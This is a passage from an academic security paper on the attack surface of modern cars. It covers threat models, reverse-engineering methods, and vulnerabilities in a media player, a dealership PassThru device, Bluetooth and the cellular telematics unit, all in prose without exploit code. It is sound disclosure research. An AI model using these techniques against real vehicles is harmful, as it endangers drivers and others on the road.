a third-party). Moreover, we assume she is able to obtain
the appropriate hardware or medium to transmit messages
whose encoding is appropriate for any given channel.1

When encountering cryptographic controls, we also
assume that the adversary is computationally bounded
and cannot efficiently brute force large shared secrets,
such as large symmetric encryption keys. In general, we
assume that the attacker only has access to information
that can be directly gleaned from examining the systems
of a vehicle similar to the one being targeted.2 We believe
these assumptions are quite minimal and mimic the
access afforded to us when conducting this work.

By contrast, operational capabilities characterize the
adversary’s requirements in delivering a malicious input
to a particular access vector in the field. In considering
the full range of I/O capabilities present in a modern
vehicle, we identify the qualitative differences in the
challenges required to access each channel. These in
turn can be roughly classified into three categories:
indirect physical access, short-range wireless access,
and long-range wireless access. In the remainder of this
section we explore the threat model for each of these
categories and within each we synthesize the “attack
surface” presented by the full range of I/O channels
present in today’s automobiles. Figure 1 highlights where
I/O channels exist on a modern automobile today.

3.1 Indirect physical access
Modern automobiles provide several physical interfaces
that either directly or indirectly access the car’s internal
networks. We consider the full physical attack surface
here, under the constraint that the adversary may not
directly access these physical interfaces herself but must
instead work through some intermediary.
OBD-II. The most significant automotive interface is
the OBD-II port, federally mandated in the U.S., which
typically provides direct access to the automobile’s
key CAN buses and can provide sufficient access to
compromise the full range of automotive systems [14].
While our threat model forbids the adversary from direct
access herself, we note that the OBD-II port is commonly

1For the concrete vulnerabilities we will explore, the hardware
cost for such capabilities is modest, requiring only commodity laptop
computers, an audio card, a USB-to-CAN interface, and, in a few
instances, an inexpensive, off-the-shelf USRP software radio platform.

2A question which we do not consider in this work is the extent to
which the attack surface is “portable” between vehicle models from
a given manufacturer. There is significant evidence that some such
attacks are portable as manufacturers prefer to build a small number
of underlying platforms that are specialized to deliver model-specific
features, but we are not in a position to evaluate this question compre-
hensively.

Figure 1: Digital I/O channels appearing on a modern
car. Colors indicate rough grouping of ECUs by function.

accessed by service personnel during routine maintenance
for both diagnostics and ECU programming.

Historically this access is achieved using dedicated
handheld “scan” tools such as Ford’s NGS, Nissan’s
Consult II and Toyota’s Diagnostic Tester which are
themselves programmed via Windows-based personal
computers. For modern vehicles, most manufacturers
have adopted an approach that is PC-centric. Under this
model, a laptop computer interfaces with a “PassThru”
device (typically directly via USB or WiFi) that in turn
is plugged into the car’s OBD-II port. Software on the
laptop computer can then interrogate or program the car’s
ECUs via this device (typically using the standard SAE
J2534 API). Examples of such tools include Toyota’s
TIS, Ford’s VCM, Nissan’s Consult 3 and Honda’s HDS
among others.

In both situations Windows-based computers directly
or indirectly control the data to be sent to the automobile.
Thus, if an adversary were able to compromise such
systems at the dealership she could amplify this access to
attack any cars under service. Such laptop computers are
typically Internet-connected (indeed, this is a requirement
for some manufacturers’ systems), so traditional means
of personal computer compromise could be employed.

Further afield, electric vehicles may also communicate
with external chargers via the charging cable. An
adversary able to compromise the external charging
infrastructure may thus be able to leverage that access
to subsequently attack any connected automobile.
Entertainment: Disc, USB and iPod. The other
important class of physical interfaces are focused on
entertainment systems. Virtually all automobiles shipped
today provide a CD player able to interpret a wide
variety of audio formats (raw “Red Book” audio, MP3,
WMA, and so on). Similarly, vehicle manufacturers also
provide some kind of external digital multimedia port
(typically either a USB port or an iPod/iPhone docking
port) for allowing users to control their car’s media
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system using their personal audio player or phone. Some
manufacturers have widened this interface further; BMW
and Mini recently announced their support for “iPod Out,”
a scheme whereby Apple media devices will be able to
control the display on the car’s console.

Consequently, an adversary might deliver malicious
input by encoding it onto a CD or as a song file and
using social engineering to convince the user to play it.
Alternatively, she might compromise the user’s phone or
iPod out of band and install software onto it that attacks
the car’s media system when connected.

Taking over a CD player alone is a limited threat; but,
for a variety of reasons, automotive media systems are
not standalone devices. Indeed, many such systems are
now CAN bus interconnected, either to directly interface
with other automotive systems (e.g., to support chimes,
certain hands-free features, or to display messages on
the console) or simply to support a common maintenance
path for updating all ECU firmware. Thus, counterintu-
itively, a compromised CD player can offer an effective
vector for attacking other automotive components.

3.2 Short-range wireless access
Indirect physical access has a range of drawbacks in-
cluding its operational complexity, challenges in precise
targeting, and the inability to control the time of compro-
mise. Here we weaken the operational requirements on
the attacker and consider the attack surface for automotive
wireless interfaces that operate over short ranges. These
include Bluetooth, Remote Keyless Entry, RFIDs, Tire
Pressure Monitoring Systems, WiFi, and Dedicated Short-
Range Communications. For this portion of the attack
surface we assume that the adversary is able to place
a wireless transmitter in proximity to the car’s receiver
(between 5 and 300 meters depending on the channel).
Bluetooth. Bluetooth has become the de facto standard
for supporting hands-free calling in automobiles and
is standard in mainstream vehicles sold by all major
automobile manufacturers. While the lowest level of the
Bluetooth protocol is typically implemented in hardware,
the management and services component of the Bluetooth
stack is often implemented in software. In normal usage,
the Class 2 devices used in automotive implementations
have a range of 10 meters, but others have demonstrated
that this range can be extended through amplifiers and
directional antennas [20].
Remote Keyless Entry. Today, all but entry-level
automobiles shipped in the U.S. use RF-based remote
keyless entry (RKE) systems to remotely open doors,
activate alarms, flash lights and, in some cases, start the
ignition (all typically using digital signals encoded over
315 MHz in the U.S. and 433 MHz in Europe).
Tire pressure. In the U.S., all 2007 model year and
newer cars are required to support a Tire Pressure Moni-

toring System (TPMS) to alert drivers about under or over
inflated tires. The most common form of such systems, so-
called “Direct TPMS,” uses rotating sensors that transmit
digital telemetry (frequently in similar bands as RKEs).
RFID car keys. RFID-based vehicle immobilizers
are now nearly ubiquitous in modern automobiles and
are mandatory in many countries throughout the world.
These systems embed an RFID tag in a key or key fob
and a reader in or near the car’s steering column. These
systems can prevent the car from operating unless the
correct key (as verified by the presence of the correct
RFID tag) is present.
Emerging short-range channels. A number of manu-
facturers have started to discuss providing 802.11 WiFi
access in their automobiles, typically to provide “hotspot”
Internet access via bridging to a cellular 3G data link.
In particular, Ford offers this capability in the 2012
Ford Focus. (Several 2011 models also provided WiFi
receivers, but we understand they were used primarily
for assembly line programming.)

Finally, while not currently deployed, an emerging
wireless channel is defined in the Dedicated Short-Range
Communications (DSRC) standard, which is being
incorporated into proposed standards for Cooperative
Collision Warning/Avoidance and Cooperative Cruise
Control. Representative programs in the U.S. include the
Department of Transportation’s Cooperative Intersection
Collision Avoidance Systems (CICAS-V) and the Vehicle
Safety Communications Consortium’s VSC-A project.
In such systems, forward vehicles communicate digitally
to trailing cars to inform them of sudden changes in
acceleration to support improved collision avoidance and
harm reduction.
Summary. For all of these channels, if a vulnerability ex-
ists in the ECU software responsible for parsing channel
messages, then an adversary may compromise the ECU
(and by extension the entire vehicle) simply by transmit-
ting a malicious input within the automobile’s vicinity.

3.3 Long-range wireless
Finally, automobiles increasingly include long distance
(greater than 1 km) digital access channels as well. These
tend to fall into two categories: broadcast channels and
addressable channels.
Broadcast channels. Broadcast channels are chan-
nels that are not specifically directed towards a given
automobile but can be “tuned into” by receivers on-
demand. In addition to being part of the external at-
tack surface, long-range broadcast mediums can be
appealing as control channels (i.e., for triggering at-
tacks) because they are difficult to attribute, can com-
mand multiple receivers at once, and do not require
attackers to obtain precise addressing for their vic-
tims.
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The modern automobile includes a plethora of broad-
cast receivers for long-range signals: Global Positioning
System (GPS),3 Satellite Radio (e.g., SiriusXM receivers
common to late-model vehicles from Honda/Accura, GM,
Toyota, Saab, Ford, Kia, BMW and Audi), Digital Radio
(including the U.S. HD Radio system, standard on 2011
Ford and Volvo models, and Europe’s DAB offered in
Ford, Audi, Mercedes, Volvo and Toyota among others),
and the Radio Data System (RDS) and Traffic Message
Channel (TMC) signals transmitted as digital subcarriers
on existing FM-bands.

The range of such signals depends on transmitter
power, modulation, terrain, and interference. As an
example, a 5 W RDS transmitter can be expected to
deliver its 1.2 kbps signal reliably over distances up
to 10 km. In general, these channels are implemented in
an automobile’s media system (radio, CD player, satellite
receiver) which, as mentioned previously, frequently
provides access via internal automotive networks to other
key automotive ECUs.
Addressable channels. Perhaps the most important part
of the long-range wireless attack surface is that exposed
by the remote telematics systems (e.g., Ford’s Sync,
GM’s OnStar, Toyota’s SafetyConnect, Lexus’ Enform,
BMW’s BMW Assist, and Mercedes-Benz’ mbrace) that
provide continuous connectivity via cellular voice and
data networks. These systems provide a broad range of
features supporting safety (crash reporting), diagnostics
(early alert of mechanical issues), anti-theft (remote track
and disable), and convenience (hands-free data access
such as driving directions or weather).

These cellular channels offer many advantages for
attackers. They can be accessed over arbitrary distance
(due to the wide coverage of cellular data infrastructure)
in a largely anonymous fashion, typically have relatively
high bandwidth, are two-way channels (supporting inter-
active control and data exfiltration), and are individually
addressable.
Stepping back. There is a significant knowledge gap
between these possible threats and what is known to
date about automotive security. Given this knowledge
gap, much of this threat model may seem far-fetched.
However, in the next section of this paper we find quite
the opposite. For each category of access vector we
will explore one or two aspects of the attack surface
deeply, identify concrete vulnerabilities, and explore and
demonstrate practical attacks that are able to completely
compromise our target automobile’s systems without
requiring direct physical access.

3We do not currently consider GPS to be a practical access vector
for an attacker because in all automotive implementations we are aware
of, GPS signals are processed predominantly in custom hardware. By
contrast, we have identified significant software-based input processing
in other long-range wireless receivers.

4 Vulnerability Analysis
We now turn to our experimental exploration of the
attack surface. We first describe the automobile and
key components under evaluation and provide some
context for the tools and methods we employed. We then
explore in-depth examples of vulnerabilities via indirect
physical channels (CDs and service visits), short-range
wireless channels (Bluetooth), and long-range wireless
(cellular). Table 1 summarizes these results as well as our
qualitative assessment of the cost (in effort) to discover
and exploit these vulnerabilities.

4.1 Experimental context
All of our experimental work focuses on a moderately
priced late model sedan with the standard options and
components. Between 100,000 and 200,000 of this
model were produced in the year of manufacture. The
car includes less than 30 ECUs comprising both critical
drivetrain components as well as less critical components
such as windshield wipers, door locks and entertainment
functions. These ECUs are interconnected via multiple
CAN buses, bridged where necessary. The car exposes
a number of external vectors including the OBD-II port,
media player, Bluetooth, wireless TPMS sensors, keyless
entry, satellite radio, RDS, and a telematics unit. The
last provides voice and data access via cellular networks,
connects to all CAN buses, and has access to Bluetooth,
GPS and independent hands-free audio functionality (via
an embedded microphone in the passenger cabin). We
also obtained the manufacturer’s standard “PassThru”
device used by dealerships and service stations for
ECU diagnosis and reprogramming, as well as the
associated programming software. For several ECUs,
notably the media and telematics units, we purchased a
number of identical replacement units via on-line markets
to accommodate the inevitable “bricking” caused by
imperfect attempts at code injection.

Building on our previous work, we first established
a set of messages and signals that could be sent on our
car’s CAN bus (via OBD-II) to control key components
(e.g., lights, locks, brakes, and engine) as well as injecting
code into key ECUs to insert persistent capabilities and to
bridge across multiple CAN buses [14]. Note, such inter-
bus bridging is critical to many of the attacks we explore
since it exposes the attack surface of one set of compo-
nents to components on a separate bus; we explain briefly
here. Most vehicles implement multiple buses, each of
which host a subset of the ECUs.4 However, for func-

4In prior work we hypothesized that CAN buses were purposely
separated for security reasons — one for safety-critical components like
the radio and engine and the other for less important components such
as a radio. Based on discussions with industry experts we have learned
that this separation has until now often been driven by bandwidth and
integration concerns and not necessarily security.
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Vulnerability Implemented Visible Full
Class Channel Capability to User Scale Control Cost Section

Direct physical OBD-II port Plug attack hardware directly into car
OBD-II port

Yes Small Yes Low Prior work [14]

Indirect physical CD CD-based firmware update Yes Small Yes Medium Section 4.2
CD Special song (WMA) Yes∗ Medium Yes Medium-High Section 4.2
PassThru WiFi or wired control connection to

advertised PassThru devices
No Small Yes Low Section 4.2

PassThru WiFi or wired shell injection No Viral Yes Low Section 4.2

Short-range
wireless

Bluetooth Buffer overflow with paired Android
phone and Trojan app

No Large Yes Low-Medium Section 4.3

Bluetooth Sniff MAC address, brute force PIN,
buffer overflow

No Small Yes Low-Medium Section 4.3

Long-range
wireless

Cellular Call car, authentication exploit, buffer
overflow (using laptop)

No Large Yes Medium-High Section 4.4

Cellular Call car, authentication exploit, buffer
overflow (using iPod with exploit au-
dio file, earphones, and a telephone)

No Large Yes Medium-High Section 4.4

Table 1: Attack surface capabilities. The Visible to User column indicates whether the compromise process is visible to the
user (the driver or the technician); we discuss social engineering attacks for navigating user detection in the body. For (∗),
users will perceive a malfunctioning CD. The Scale column captures the approximate scale of the attack, e.g., the CD firmware
update attack is small-scale because it requires distributing a CD to each target car. The Full Control column indicates whether
this exploit yields full control over the component’s connected CAN bus (and, by transitivity, all the ECUs in the car). Finally,
the Cost column captures the approximate effort to develop these attack capabilities.

tionality reasons these buses must be interconnected to
support the complex coupling between pairs of ECUs and
thus a small number of ECUs are physically connected to
multiple buses and act as logical bridges. Consequently,
by modifying the “bridge” ECUs (either via a vulnerabil-
ity or simply by reflashing them over the CAN bus as they
are designed to be) an attacker can amplify an attack on
one bus to gain access to components on another. Con-
sequently, the result is that compromising any ECU with
access to some CAN bus on our vehicle (e.g., the media
player) is sufficient to compromise the entire vehicle.

Combining these ECU control and bridging com-
ponents, we constructed a general “payload” that we
attempted to deliver in our subsequent experiments
with the external attack surface.5 To be clear, for every
vulnerability we demonstrate, we are able to obtain
complete control over the vehicle’s systems. We did
not explore weaker attacks.

For each ECU we consider, our experimental approach
was to extract its firmware and then explicitly reverse
engineering its I/O code and data flow using disassembly,
interactive logging and debugging tools where appropri-
ate. In most cases, extracting the firmware was possible
directly via the CAN bus (this was especially convenient
because in most ECUs we encountered, the flash chips
are not socketed and while we were able to desolder and
read such chips directly, the process was quite painful).

Having the firmware in hand, we performed three basic
types of analysis: raw code analysis, in situ observations,

5In this work we experimented with two equivalent vehicles to ensure
that our results were not tied to artifacts of a particular vehicle instance.

and interactive debugging with controlled inputs on the
bench. In the first case, we identified the microprocessor
(e.g., different components described in this paper use
System on Chip (SoC) variants of the PowerPC, ARM,
Super-H and other architectures) and used the industry-
standard IDA Pro disassembler to map control flow and
identify potential vulnerabilities, as well as debugging
and logging options that could be enabled to aid in
reverse engineering.6 In situ observation with logging
enabled allowed us to understand normal operation of the
ECU and let us concentrate on potential vulnerabilities
near commonly used code paths. Finally, ECUs were
removed from the car and placed into a test harness on the
bench from which we could carefully control all inputs
and monitor outputs. In this environment, interactive
debuggers were used to examine memory and single step
through vulnerable code under repeatable conditions. For
one such device, the Super-H-based media player, we
resorted to writing our own native debugger and exported
a control and output interface through an unused serial
UART interface we “broke out” off the circuit board.

In general, we made use of any native debugging I/O
we could identify. For example, like the media player,
the telematics unit exposed an unused UART that we
tapped to monitor internal debugging messages as we
interactively probed its I/O channels. In other cases, we

6IDA Pro does not support embedded architectures as well as x86
and consequently we needed to modify IDA Pro to correctly parse
the full instruction set and object format of the target system. In one
particular case (for the TPMS processor) IDA Pro did not provide any
native support and we were forced to write a complete architecture
module in order to use the tool.
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selectively rewrote ECU memory (via the CAN bus or by
exploiting software vulnerabilities) or rewrote portions
of the flash chips using the manufacturer-standard ECU
programming tools. For the telematics unit, we wrote
a new character driver that exported a command shell
to its Unix-like operating system directly over the OBD-
II port to enable interactive debugging in a live vehicle.
In the end, our experience was that although the ECU
environment was somewhat more challenging than that
of desktop operating systems, it was surmountable with
dedicated effort.

4.2 Indirect physical channels
We consider two distinct indirect physical vectors in
detail: the media player (via the CD player) and service
access to the OBD-II port. We describe each in turn
along with examples of when an adversary might be able
to deliver malicious input.
Media player. The media player in our car is fairly
typical, receiving a variety of wireless broadcast signals,
including analog AM and FM as well as digital signals
via FM sub-carriers (RDS, called RBDS in the U.S.) and
satellite radio. The media player also accepts standard
compact discs (via physical insertion) and decodes audio
encoded in a number of formats including raw Red Book
audio as well as MP3 and WMA files encoded on an
ISO 9660 filesystem.

The media player unit itself is manufactured by a
major supplier of entertainment systems, both stock units
directly targeted for automobile manufacturers as well
as branded systems sold via the aftermarket. Software
running on the CPU handles audio parsing and playback
requests, UI functions, and directly handles connections
to the CAN bus.

We found two vulnerabilities. First, we identified a
latent update capability in the media player that will
automatically recognize an ISO 9660-formatted CD with
a particularly named file, present the user with a cryptic
message and, if the user does not press the appropriate
button, will then reflash the unit with the data contained
therein.7 Second, knowing that the media player can
parse complex files, we examined the firmware for input
vulnerabilities that would allow us to construct a file that,
if played, gives us the ability to execute arbitrary code.

For the latter, we reverse-engineered large parts of the
media player firmware, identifying the file system code
as well as the MP3 and WMA parsers. In doing so, we
documented that one of the file read functions makes
strong assumptions about input length and moreover that
there is a path through the WMA parser (for handling
an undocumented aspect of the file format) that allows

7This is not the standard method that the manufacturer uses to
update the media player software and thus we believe this is likely a
vestigial capability in the supplier’s code base.

arbitrary length reads to be specified; together these allow
a buffer overflow.

This particular vulnerability is not trivial to exploit.
The buffer that is overflowed is not on the stack but
in a BSS segment, without clear control data variables
to hijack. Moreover, immediately after the buffer are
several dynamic state variables whose values are con-
tinually checked and crash the system when overwritten
arbitrarily.

To overcome these and other obstacles, we developed
a native in-system debugger that communicates over an
unused serial port we identified on the media player. This
debugger lets us dump and alter memory, set breakpoints,
and catch exceptions. Using this debugger we were
able to find several nearby dynamic function pointers
to overwrite as well as appropriate contents for the
intervening state variables.

We modified a WMA audio file such that, when burned
onto a CD, plays perfectly on a PC but sends arbitrary
CAN packets of our choosing when played by our car’s
media player. This functionality adds only a small space
overhead to the WMA file. One can easily imagine many
scenarios where such an audio file might find its way into
a user’s media collection, such as being spread through
peer-to-peer networks.
OBD-II. The OBD-II port can access all CAN buses in
the vehicle. This is standard functionality because the
OBD-II port is the principal means by which service
technicians diagnose and update individual ECUs in a
vehicle. This process is intermediated by hardware tools
(sold both by automobile manufacturers and third parties)
that plug into the OBD-II port and can then be used
to upgrade ECUs’ firmware or to perform a myriad of
diagnostic tasks such as checking the diagnostic trouble
codes (DTCs).

Since 2004, the Environmental Protection Agency
has mandated that all new cars in the U.S. support the
SAE J2534 “PassThru” standard — a Windows API
that provides a standard, programmatic interface to
communicate with a car’s internal buses. This is typically
implemented as a Windows DLL that communicates
over a wired or wireless network with the reprogram-
ming/diagnostic tool (hereafter we refer to the latter
simply as “the PassThru device”). The PassThru device
itself plugs into the OBD-II port in the car and from that
vantage point can communicate on the vehicle’s internal
networks under the direction of software commands sent
via the J2534 API. In this way, applications developed
independently of the particular PassThru device can be
used for reprogramming or diagnostics.

We studied the most commonly used PassThru device
for our car, manufactured by a well-known automotive
electronics supplier on an OEM basis (the same device
can be used for all current makes and models from
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the same automobile manufacturer). The device itself
is roughly the size of a paperback book and consists
of a popular SoC microprocessor running a variant of
Linux as well as multiple network interfaces, including
USB and WiFi — and a connector for plugging into
the car’s OBD-II port.8 We discovered two classes of
vulnerabilities with this device. First, we find that an
attacker on the same WiFi network as the PassThru
device can easily connect to it and, if the PassThru
device is also connected to a car, obtain control over
the car’s reprogramming. Second, we find it possible to
compromise the PassThru device itself, implant malicious
code, and thereby affect a far greater number of vehicles.
To be clear, these are vulnerabilities in the PassThru
device itself, not the Windows software which normally
communicates with it. We experimentally evaluated both
vulnerability classes and elaborate on our analyses below.

After booting up, the device periodically advertises
its presence by sending a UDP multicast packet on each
network to which it is connected, communicating both
its IP address and a TCP port for receiving client requests.
Client applications using the PassThru DLL connect to
the advertised port and can then configure the PassThru
device or command it to begin communicating with the
vehicle. Communication between the client application
and the PassThru device is unauthenticated and thus
depends exclusively on external network security for
any access control. Indeed, in its recommended mode
of deployment, any PassThru device should be directly
accessible by any dealership computer. A limitation is
that only a single application can communicate with a
given PassThru device at a time, and thus the attacker
must wait for the device to be connected but not in use.

The PassThru device exports a proprietary, unauthen-
ticated API for configuring its network state (e.g., for
setting with which WiFi SSID it should associate). We
identified input validation bugs in the implementation of
this protocol that allow an attacker to run arbitrary Bourne
Shell commands via shell-injection, thus compromising
the unit. The underlying Linux distribution includes pro-
grams such as telnetd, ftp, and nc so, having gained
entry to the device via shell injection, it is trivial for the
attacker to open access for inbound telnet connections
(exacerbated by a poor choice of root password) and then
transfer additional data or code as necessary.

To evaluate the utility of this vulnerability and make
it concrete, we built a program that combines all of these
steps. It contacts any PassThru devices being advertised
(e.g., via their WiFi connectivity or if connected directly
via Ethernet), exploits them via shell injection, and

8The manufacturer’s dealership guidelines recommend the use of
the WiFi interface, thereby supporting an easier tetherless mode of use,
and suggest the use of link-layer protection such as WEP (or, in the
latest release of the device, WPA2) to prevent outside access.
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Figure 2: PassThru-based shell-injection exploit scenario.
The adversary gains access to the service center network
(e.g., by compromising an employee laptop), then (1)
compromises any PassThru devices on the network, each
of which compromise any cars they are used to service
(2 and 3), installing Trojan horses to be activated based
on some environmental trigger. The PassThru device also
(4) spreads virally to other PassThru devices (e.g., if a
device is loaned to other shops) which can repeat the same
process (5).

installs a malicious binary (modifying startup scripts so
it is always enabled). The malicious binary will send
pre-programmed messages over the CAN bus whenever
a technician connects the PassThru device to a car. These
CAN packets install malware onto the car’s telematics
unit. This malware waits for an environmental trigger
(e.g., specific date and time) before performing some
action. Figure 2 gives a pictorial overview of this attack.

To summarize, an attacker who can connect to a
dealership’s wireless network (e.g., via social engineering
or a worm/virus à la Stuxnet [7]) is able to subvert any
active PassThru devices that will in turn compromise any
vehicles to which they connect. Moreover, the PassThru
device is sufficiently general to mount the attack itself. To
demonstrate this, we have modified our program, turning
it into a worm that actively seeks out and spreads to other
PassThru devices in range. This attack does not require
interactivity with the attacker and can be fully automated.

4.3 Short-range wireless channels: Bluetooth
We now turn to short-range wireless channels and focus
on one in particular: Bluetooth. Like many modern cars,
ours has built-in Bluetooth capabilities which allow the
occupants’ cell phones to connect to the car (e.g., to
enable hands-free calling). These Bluetooth capabilities
are built into our car’s telematics unit.

Through reverse engineering, we gained access to
the telematics ECU’s Unix-like operating system and
identified the particular program responsible for handling
Bluetooth functionality. By analyzing the program’s
symbols we established that it contains a copy of a
popular embedded implementation of the Bluetooth
protocol stack and a sample hands-free application.
However, the interface to this program and the rest of the
telematics system appear to be custom-built. It is in this
custom interface code that we found evidence of likely



USENIX Association  20th USENIX Security Symposium 85

vulnerabilities. Specifically, we observed over 20 calls
to strcpy, none of which were clearly safe. We inves-
tigated the first such instance in depth and discovered an
easily exploitable unchecked strcpy to the stack when
handling a Bluetooth configuration command.9 Thus, any
paired Bluetooth device can exploit this vulnerability to
execute arbitrary code on the telematics unit.

As with our indirect physical channel investigations,
we establish the utility of this vulnerability by making it
concrete. We explore two practical methods for exploiting
this attack and in doing so unearth two sub-classes of the
short-range wireless attack vector: indirect short-range
wireless attacks and direct short-range wireless attacks.
Indirect short-range wireless attacks. The vulnerabil-
ity we identified requires the attacker to have a paired
Bluetooth device. It may be challenging for an attacker to
pair her own device with the car’s Bluetooth system — a
challenge we consider in the direct short-range wireless
attacks discussion below. However, the car’s Bluetooth
subsystem was explicitly designed to support hands-free
calling and thus may naturally be paired with one or
more smartphones. We conjecture that if an attacker can
independently compromise one of those smartphones,
then the attacker can leverage the smartphone as a
stepping-stone for compromising the car’s telematics
unit, and thus all the critical ECUs on the car.

To assess this attack vector we implemented a simple
Trojan Horse application on the HTC Dream (G1) phone
running Android 2.1. The application appears to be in-
nocuous but under the hood monitors for new Bluetooth
connections, checks to see if the other party is a telemat-
ics unit (our unit identifies itself by the car manufacturer
name), and if so sends our attack payload. While we
have not attempted to upload our code to the Android
Market, there is evidence that other Trojan applications
have been successfully uploaded [25]. Additionally, there
are known exploits that can compromise Android and
iPhone devices that visit malicious Web sites. Thus our
assessment suggests that smartphones can be a viable
path for exploiting a car’s short-range wireless Bluetooth
vulnerabilities.
Direct short-range wireless attacks. We next assess
whether an attacker can remotely exploit the Bluetooth
vulnerability without access to a paired device. Our
experimental analyses found that a determined attacker
can do so, albeit in exchange for a significant effort in
development time and an extended period of proximity
to the vehicle.

There are two steps precipitating a successful attack.
First, the attacker must learn the car’s Bluetooth MAC

9Because the size of the available buffer is small, our exploit simply
creates a new shell on the telematics unit from which it downloads and
executes more complex code from the Internet via the unit’s built-in
3G data capabilities.

address. Second, the attacker must surreptitiously pair his
or her own device with the car. Experimentally, we find
that we can use the open source Bluesniff [23] package
and a USRP-based software radio to sniff our car’s Blue-
tooth MAC address when the car is started in the presence
of a previously paired device (e.g., when the driver turns
on the car while carrying her cell phone). We were also
able to discover the car’s Bluetooth MAC address by
sniffing the Bluetooth traffic generated when one of the
devices, which has previously been paired to a car, has its
Bluetooth unit enabled, regardless of the presence of the
car — all of the devices we experimented with scanned
for paired devices upon Bluetooth initialization.

Given the MAC address, the other requirement for
pairing is possessing a shared secret (the PIN). Under
normal use, if the driver wishes to pair a new device, she
puts the car into pairing mode via a well-documented
user interface, and, in turn, the car provides a random PIN
(regenerated each time the car starts or when the driver
initiates the normal pairing mode) which is then shown
on the dashboard and must then be manually entered into
the phone. However, we have discovered that our car’s
Bluetooth unit will respond to pairing requests even with-
out any user interaction. Using a simple laptop to issue
pairing requests, we are thus able to brute force this PIN
at a rate of eight to nine PINs per minute, for an average
of approximately 10 hours per car; this rate is limited
entirely by the response time of the vehicle’s Bluetooth
stack. We conducted three empirical trials against our car
(resetting the car each time to ensure that a new PIN was
generated) and found that we could pair with the car after
approximately 13.5, 12.5, and 0.25 hours, respectively.
The pairing process does not require any driver inter-
vention and will happen completely obliviously to any
person in the car.10 While this attack is time consuming
and requires the car(s) under attack to be running, it is
also parallelizable, e.g., an attacker could sniff the MAC
addresses of all cars started in a parking garage at the
end of a day (assuming the cars are pre-paired with at
least one Bluetooth device). If a thousand such cars leave
the parking garage in a day, then we expect to be able to
brute force the PIN for at least one car within a minute.

After completing this pairing, the attacker can inject on
the paired channel an exploit like the one we developed
and thus compromise the vehicle.

4.4 Long-range wireless channels: Cellular
Finally, we consider long-range wireless channels and,
in particular, focus on the cellular capabilities built into
our car’s telematics unit. Like many modern cars, our
car’s cellular capabilities facilitate a variety of safety

10As an artifact of how this “blind” pairing works, the paired device
does not appear on the driver’s list of paired devices and cannot be
unpaired manually.
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and convenience features (e.g., the car can automatically
call for help if it detects a crash). However, long-range
communications channels also offer an obvious target
for potential attackers, which we explore here. In this
section, we describe how these channels operate, how
they were reverse engineered and demonstrate that
a combination of software flaws conspire to allow a
completely remote compromise via the cellular voice
channel. We focus on adversarial actions that leverage
the existing cellular infrastructure, not ones that involve
the use of adversarially-controlled infrastructure; e.g., we
do not consider man-in-the-middle attacks.
Telematics connectivity. For wide-area connectivity,
our telematics unit is equipped with a cell phone interface
(supporting voice, SMS and 3G data). While the unit
uses its 3G data channel for a variety of Internet-based
functions (e.g., navigation and location-based services),
it relies on the voice channel for critical telematics
functions (e.g., crash notification) because this medium
can provide connectivity over the widest possible service
area (i.e., including areas where 3G service is not
yet available). To synthesize a digital channel in this
environment, the manufacturer uses Airbiquity’s aqLink
software modem to covert between analog waveforms and
digital bits. This use of the voice channel in general, and
the aqLink software in particular, is common to virtually
all popular North American telematics offerings today.

In our vehicle, Airbiquity’s software is used to create a
reliable data connection between the car’s telematics unit
and a remote Telematics Call Center (TCC) operated by
the manufacturer. In particular, the telematics unit incor-
porates the aqLink code in its Gateway program which
controls both voice and data cellular communication.
Since a single cellular channel is used for both voice and
data, a simple, in-band, tone-based signaling protocol is
used to switch the call into data mode. The in-cabin audio
is muted when data is transmitted, although a tell-tale
light and audio announcement is used to indicate that a
call is in progress. For pure data calls (e.g., telemetry and
remote diagnostics), the unit employs a so-called “stealth”
mode which does not provide any indication that a call
is in progress.
Reverse engineering the aqLink protocol. Reverse
engineering the aqLink protocol was among the most
demanding parts of our effort, in particular because it
demanded signal processing skills not part of the typical
reverse engineering repertoire. For pedagogical reasons,
we briefly highlight the process of our investigation.

We first identified an in-band tone used to initiate “data
mode.” Having switched to data mode, aqLink provides
a proprietary modulation scheme for encoding bits. By
calling our car’s telematics unit (the phone number is
available via caller ID), initiating data mode with a tone
generator and recording the audio signal that resulted,

we established that the center frequency was roughly
700 Hz and that the signal was consistent with a 400 bps
frequency-shift keying (FSK) signal.

We then used LD_PRELOAD on the telematics unit
to interpose on the raw audio samples as they left the
software modem. Using this improved signal source, we
hunted for known values contained in the signal (e.g.,
unique identifiers stamped on the unit). We did so by en-
coding these values as binary waveforms at hypothesized
bitrates and cross-correlating them to the demodulated sig-
nal until we were able to establish the correct parameters
for demodulating digital bits from the raw analog signal.

From individual bits, we then focused on packet
structure. We were lucky to discover a debugging flag in
the telematics software that would produce a binary log
of all packet payloads transmitted or received, providing
ground truth. Comparing this with the bitstream data,
we discovered the details of the framing protocol (e.g.,
the use of half-width bits in the synchronization header)
and were able to infer that data is sent in packets of up
to 1024-bytes, divided into 22-byte frames which are
divided into two 11-byte segments. We inferred that a
CRC and ECC were both used to tolerate noise. Search-
ing the disassembled code for known CRC constants
quickly led us to determine the correct CRC to use, and
the ECC code was identified in a similar fashion. For
reverse-engineering the header contents, we interposed
on the aqSend call (used to transmit messages), which
allowed us to send arbitrary multi-frame packets and
consequently infer the sequence number, multi-frame
identifier, start of packet bit, ACK frame structure, etc.
We omit the many other details due to space constraints.

Given our derived protocol specification, we then
implemented an aqLink-compatible software modem in C
using a laptop with an Intel ICH3-based modem exposed
as an ALSA sound device under Linux. We verified the
modulation and formatting of our packet stream using
the debugging log described earlier.

Finally, layered on top of the aqLink modem is the
telematics unit’s own proprietary command protocol that
allows the TCC to retrieve information about the state of
the car as well as to remotely actuate car functions. Once
the Gateway program decodes a frame and identifies it as
a command message, the data is then passed (via an RPC-
like protocol) to another telematics unit program which
is responsible for supervising overall telematics activities
and implementing the command protocol (henceforth,
the Command program). We reverse-engineered enough
of the Gateway and Command programs to identify a
candidate vulnerability, which we describe below.
Vulnerabilities in the Gateway. As mentioned earlier,
the aqLink code explicitly supports packet sizes up to
1024 bytes. However, the custom code that glues aqLink
to the Command program assumes that packets will never
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exceed 100 bytes or so (presumably since well-formatted
command messages are always smaller). This leads to
another stack-based buffer overflow vulnerability that we
verified is exploitable. Interestingly, because this attack
takes place at the lowest level of the protocol stack, it com-
pletely bypasses the higher-level authentication checks
implemented by the Command program (since these
checks themselves depend on being able to send packets).

There is one key gap preventing this exploit from
working in practice. Namely, the buffer overflow we
chose to focus on requires sending over 300 bytes to
the Gateway program. Since the aqLink protocol has
a maximum effective throughput of about 21 bytes a
second, in the best case, the attack requires about 14
seconds to transmit. However, upon receiving a call, the
